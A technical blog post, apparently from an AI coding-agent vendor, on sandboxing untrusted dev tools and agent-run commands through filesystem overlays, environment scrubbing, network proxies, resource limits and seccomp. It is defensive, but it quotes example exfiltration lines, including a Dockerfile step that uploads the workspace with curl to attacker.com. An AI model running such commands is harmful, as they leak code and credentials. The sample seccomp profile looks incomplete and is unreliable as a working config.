ux
Sandboxing untrusted tools in dev workflows
Learn how to isolate untrusted code execution in development workflows using containers, VMs, and permission boundaries without breaking developer productivity.

Every time you run `npm install` from a README you found on Hacker News, you're executing untrusted code with your filesystem permissions, environment variables, and network access. Most engineers accept this risk daily because blocking it entirely means not shipping. The real question isn't whether to sandbox untrusted tools—it's how much isolation you can afford before the friction kills adoption.
The problem intensifies when AI agents enter the loop. An agent that generates `npm run build && npm run deploy` isn't just suggesting code—it's potentially executing it before human review to validate the suggestion, run tests, or gather context. Your development environment often has more access than production: cloud credentials in `~/.aws`, SSH keys, internal network access, source code for multiple repositories. The compounding risk is that you're trusting not just the AI model but also the npm registry's security, package maintainers' laptop hygiene, and every transitive dependency.
The untrusted tool surface area
Most teams underestimate how many external executables touch their code before it reaches production. A typical PR workflow invokes:
- Language servers (rust-analyzer, typescript-language-server) parsing your entire codebase
- Formatters and linters (prettier, eslint, clippy) with plugin ecosystems
- Build tools running arbitrary package scripts (npm postinstall, gradle plugins)
- AI coding assistants generating shell commands, SQL queries, or API calls
- Git hooks executing user-contributed scripts
Each represents an execution boundary. Nearly every development tool reads config from parent directories: ESLint walks upward looking for `.eslintrc.js`, Prettier checks seven levels up for `prettier.config.mjs`, Python's `setup.py` happily imports from `../shared_utils`. A sandbox that just bind-mounts a subdirectory breaks these tools. The workaround—allowing read access to parent directories—opens a hole: now your untrusted script can parse your root `.npmrc` with registry credentials or traverse up to `~/.aws/config`.
The failure mode isn't always dramatic. We've seen AI tools suggest reasonable-looking commands like `git log --format="%H %s" | xargs -I{} curl -X POST analytics.internal/events` that leak commit history to unintended endpoints. A human might write that once; an AI might generate variations in 50 different repos because the pattern "worked" in training data.
Filesystem isolation: visibility vs containment
The cleanest isolation model grants tools exactly the capabilities they need: read these directories, write those file types, network access to these registries. In practice, maintaining these allowlists becomes its own security hole. A TypeScript language server needs node_modules to provide completions. A Rust analyzer needs target/ for incremental builds. Deny access and the tool is useless; grant it and you've just given write access to directories where `postinstall` scripts execute arbitrary code.
Bind mounts and overlay filesystems help here. You can mount node_modules read-only into a sandbox while keeping the workspace read-write, but this breaks tools that expect to update lock files, regenerate caches, or install missing dependencies on the fly.
A pragmatic pattern that survives contact with real toolchains: explicitly copy config files into the sandbox root before execution, rewriting relative paths as you go. If the tool expects `../../tsconfig.base.json`, copy it to `./tsconfig.base.json` and patch the reference. This works for declarative configs (JSON, YAML) but fails for executable configs that dynamically import sibling modules.
The approach that works for Goatfied's agent loop: tools run with read access to the full workspace and write access to an isolated overlay. After execution, a supervisor process inspects what changed:
# Simplified diff review step
diff -r /workspace /overlay/workspace | grep -E '\.(ts|rs|py)$'
If changes are only to source files the tool was asked to modify, promote them. If it touched package.json or wrote to hidden directories, flag for manual review. This doesn't prevent all supply chain attacks—a malicious tool could still corrupt its own cache and exploit it later—but it contains the blast radius to the current session.
The cost is cognitive overhead. Developers need to understand why their formatter didn't auto-update their lock file, or why the language server can't hot-reload after an npm install. Clear feedback ("Tool X tried to modify package-lock.json; approve in the diff view?") helps, but you're still adding steps.
Environment variables and credential leakage
Your shell environment is a treasure trove: `AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_URL`. Don't pass it wholesale to untrusted processes.
const safeEnv = {
PATH: process.env.PATH,
HOME: '/tmp/sandbox-home',
USER: 'sandbox',
// Explicitly allowlist project-specific vars
NODE_ENV: 'development',
};
spawn('your-tool', args, { env: safeEnv });
If the tool legitimately needs secrets (e.g., to run integration tests), inject them via a temporary credential file inside the sandbox, not as environment variables. Revoke or rotate those credentials after the task completes.
Your AWS credentials should not be in the same environment where untrusted code executes. Use short-lived tokens, separate IAM roles for dev tooling, or credential proxies that log every access. A compromised formatter can't exfiltrate your production database backups if it never sees those credentials.
Network sandboxing without operational overhead
Network access creates a catch-22. Deny it and tools fail; allow it and they can exfiltrate code or pull malicious payloads. You can run tools with network fully enabled, fully disabled, or with a filtering proxy. The filtering proxy sounds sophisticated until you implement it: you need to allowlist registries (`registry.npmjs.org`, `pypi.org`, `crates.io`), CDNs for common tooling, and then the long tail of language-specific mirrors and corporate proxies.
The failure mode that surprises people: DNS. Even with network disabled, many tools attempt DNS lookups that block for 5+ seconds on timeout. `node` itself checks for proxy autoconfiguration, `git` tries to resolve remote URLs even for local operations, and language servers ping update endpoints. You're not actually saving time or improving isolation by blocking network—you're just making everything slower and introducing non-deterministic timeouts.
A pragmatic middle ground: allow outbound network but firewall local network ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `127.0.0.0/8`, and IPv6 equivalents). This prevents SSRF-style attacks against your internal services while letting tools fetch public dependencies.
For tighter control, use an HTTP proxy (e.g., `mitmproxy`, `squid`) configured to allowlist known registries and block everything else. Set `HTTP_PROXY` and `HTTPS_PROXY` in the sandboxed environment and log all requests for audit purposes.
A cleaner pattern: separate the "fetch" and "execute" phases. Tools run in network-isolated sandboxes but can declare dependencies they need. A separate, auditable step fetches those dependencies and caches them in a shared, read-only volume. This is how Goatfied handles package installs during the plan phase—agents declare what they need, the supervisor fetches and validates checksums, then the isolated edit phase runs offline.
The downside is latency. If a tool discovers it needs a new dependency mid-execution, it has to fail, request the dependency, and retry. This maps well to the agent loop (plan → constrain → edit → validate → retry) but feels broken in traditional interactive workflows where developers expect `npm install` to "just work."
Resource limits that prevent accidents
Set a memory limit too low and legitimate builds fail; set it too high and you're not really sandboxing. The pathological case: a tool that leaks memory slowly. It runs fine for small projects, passes your test suite, then OOMs on a 50k-line monorepo three hours into a CI job.
Prevent runaway processes with ulimit:
ulimit -t 60 # 60 CPU seconds
ulimit -v 2097152 # 2GB virtual memory
ulimit -n 256 # 256 open files
your-tool
On Linux, cgroups v2 gives finer control:
cgcreate -g memory,cpu:sandbox
echo "2G" > /sys/fs/cgroup/sandbox/memory.max
echo "100000" > /sys/fs/cgroup/sandbox/cpu.max # 1 CPU's worth
cgexec -g memory,cpu:sandbox your-tool
This matters when running large test suites or builds generated by an agent—you don't want a memory leak in generated code to OOM your machine.
Disk quotas fail on filesystem cache patterns. Modern package managers (pnpm, Cargo, Go modules) maintain global caches that multiple projects share. If your sandbox gives each invocation its own view of the filesystem, every run re-downloads dependencies. If you share the cache across sandboxes, one malicious tool can poison it for everyone else.
In practice: set memory limits at 2-4x expected steady-state usage, skip CPU throttling unless you're defending against crypto miners, and treat disk quotas as "detect runaway growth" rather than "prevent writes." Make the cache read-only and copy-on-write only what each tool legitimately modifies.
The agent-specific challenge: recursive tool invocation
When an AI agent generates a fix, it doesn't just write code—it runs formatters, linters, test suites, and potentially more tools discovered in `package.json` scripts. Your sandbox needs to be recursively safe: if the agent invokes `npm run lint`, and that script runs `eslint --fix`, and eslint loads a plugin that shells out to `prettier`, you need to ensure that entire chain stays contained.
The naive approach is to sandbox the initial tool invocation. This breaks immediately because `npm run` spawns subprocesses that escape your sandbox boundary. The heavyweight approach is nested sandboxes (container-in-container), which works but makes debugging failures nearly impossible—stack traces disappear, exit codes get mangled, and you can't easily attach a debugger.
Goatfied's agent loop sidesteps this by running tools in explicit phases: plan (read-only), edit (write to temp), validate (compile/lint/test in a gated environment where failures just trigger retry). Each phase runs in its own execution context with appropriate permissions. The validate phase particularly benefits from full sandboxing because it's running tests—which by definition might be malicious—but failures there don't corrupt the working tree. You get a clean edit/validate boundary instead of trying to sandbox arbitrary recursive tool invocations.
Practical implementation: start simple, layer complexity
Container-based sandboxing sounds obvious but most implementations fail at the boundaries. Running `docker run --rm -v $(pwd):/workspace` gives the container your entire working directory with write access. An AI-generated Dockerfile that adds `COPY . /exfiltrate && RUN curl -F "data=@/exfiltrate" attacker.com` can steal your code before you've even reviewed the build output.
Effective isolation requires read-only mounts for source code with explicit writable scratch directories, network namespace restrictions, separate credential stores, and process-level capability restrictions. Even inside a container, you can restrict system calls. A linter doesn't need `ptrace` or `mount`. Build tools rarely need raw socket access. Seccomp-bpf filters add microseconds of overhead and block entire classes of kernel exploits.
Here's a minimal Docker seccomp profile for untrusted formatters:
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{"names": ["read", "write", "open", "close", "stat", "fstat", "mmap", "munmap"], "action": "SCMP_ACT_ALLOW"},
{"names": ["execve"], "action": "SCMP_ACT_ALLOW"}
]
}
This allows file I/O and program execution but blocks network syscalls, ptrace, kernel module loading, and time manipulation.
If full containerization is overkill for your workflow, start with:
1. Environment variable scrubbing (10 lines of code)
2. Filesystem path validation to prevent escapes:
function validatePath(requestedPath: string, projectRoot: string): string {
const resolved = path.resolve(projectRoot, requestedPath);
if (!resolved.startsWith(projectRoot)) {
throw new Error(`Path escape attempt: ${requestedPath}`);
}
return resolved;
}
3. Execution time limits (one `ulimit` call)
Add network proxying if you handle sensitive data, and containerization if you're exposing the workflow to external contributors. Measure the overhead—namespace creation is microseconds, Docker adds 100-500ms per run—and decide what's acceptable for your iteration speed. In our internal testing, the full sandbox setup adds 200-800ms per agent iteration compared to bare-metal execution. That's noise compared to actual compilation or test runtime.
The validation gate pattern
Isolation prevents disasters, but you still need to catch subtle issues before they reach production. Treat every generated change as untrusted until it passes gates:
1. **Syntax validation** before execution—parse the generated code, don't just run it
2. **Static analysis** for common anti-patterns (hardcoded credentials, eval statements, shell injection risks)
3. **Compilation** to catch type errors and import issues
4. **Test execution** in the sandboxed environment
5. **Diff review** showing exactly what changed, with dangerous patterns highlighted
The key insight is that these gates run *inside* the sandbox, so even the validation tools are untrusted. A malicious test harness can't phone home because the network policy blocks it. A backdoored compiler can't write to unexpected paths because the filesystem mount is read-only.
This creates a ratchet effect: code can only leave the sandbox if it passes all gates, and passing gates requires being genuinely valid rather than just avoiding detection. An AI can't "trick" the compiler into accepting invalid syntax by generating plausible-looking error messages.
Audit logs as a safety net
When full isolation is too expensive, detailed logging becomes your fallback. Record every file read, write, and network request. Cryptographically sign the logs so a compromised tool can't erase evidence. On every commit, surface a summary: "prettier v3.2.1 read 47 files, wrote 12, made 0 network requests."
This doesn't prevent attacks, but it makes them detectable and attributable. If a supply chain compromise ships a malicious linter update, you'll see "eslint v8.x read .env and made HTTPS POST to unknown domain" in the audit trail.
If you log every syscall, you can't move. Strace adds 10-100x overhead. Instead, log at semantic boundaries: tool invocation (what binary, what args), network connections attempted (even if blocked), and file writes outside the expected output directory. This gives you an audit trail you can review when something suspicious happens, without making normal builds glacial.
The key insight: you're not trying to prevent every possible attack at runtime. You're trying to detect anomalies and constrain blast radius. If a tool writes 500MB to `/tmp` instead of the usual 5MB, log it. If it tries to connect to an IP you've never seen before, log it. Then have a human review those logs before they turn into incidents.
Making the tradeoffs explicit
The real design work isn't choosing between perfect isolation and no isolation. It's deciding which attacks you're defending against (malicious tools vs vulnerable tools vs developer mistakes), which workflows you can't afford to break (interactive editing vs CI builds), and how much latency your users will tolerate for safety.
For Goatfied, that meant accepting that tools can read your entire codebase during a session, but ensuring filesystem changes are reviewed as small, reversible diffs before they reach version control. The agent loop runs every edit through compile/lint/test gates inside an isolated execution context before committing changes. The sandbox config lives in `.goatfied/sandbox.yaml`:
filesystem:
root: /project
readonly: [".git", "node_modules"]
allowed_writes: ["src/**", "test/**", "*.test.ts"]
network:
allow: ["registry.npmjs.org", "api.github.com"]
limits:
cpu_seconds: 120
memory_mb: 4096
Each validation run gets a fresh container (or namespace on self-hosted setups) seeded with a clean copy of your project. If tests pass, the diff is surfaced for human review; if they fail, the agent retries with the error output but never writes broken code to your working directory.
Your risk model might differ—maybe you need air-gapped builds, or maybe you trust your dependencies and just want to prevent accidental `rm -rf`. The worst outcome is implicit tradeoffs: security theater that doesn't stop real threats but annoys developers into disabling protections. Make the boundaries clear, the costs visible, and the bypass paths auditable.
Run a monthly audit of sandbox escapes—places where tooling needed to write outside the scratch directory or make unexpected network calls. About 90% will be legitimate (new package manager, updated language server), 8% overly broad tool behavior (why does this markdown linter need AWS SDK?), 2% actually suspicious. That 2% rate makes the entire system worthwhile.
Related reading
- [Agentic planning for cross-package refactors](/blog/agentic-planning-for-cross-package-refactors)
- [Branch-aware context retrieval pipelines](/blog/branch-aware-context-retrieval-pipelines)
- [Completion ranking with repository signals](/blog/completion-ranking-with-repository-signals)
- [Context window budgeting under token pressure](/blog/context-window-budgeting-under-token-pressure)
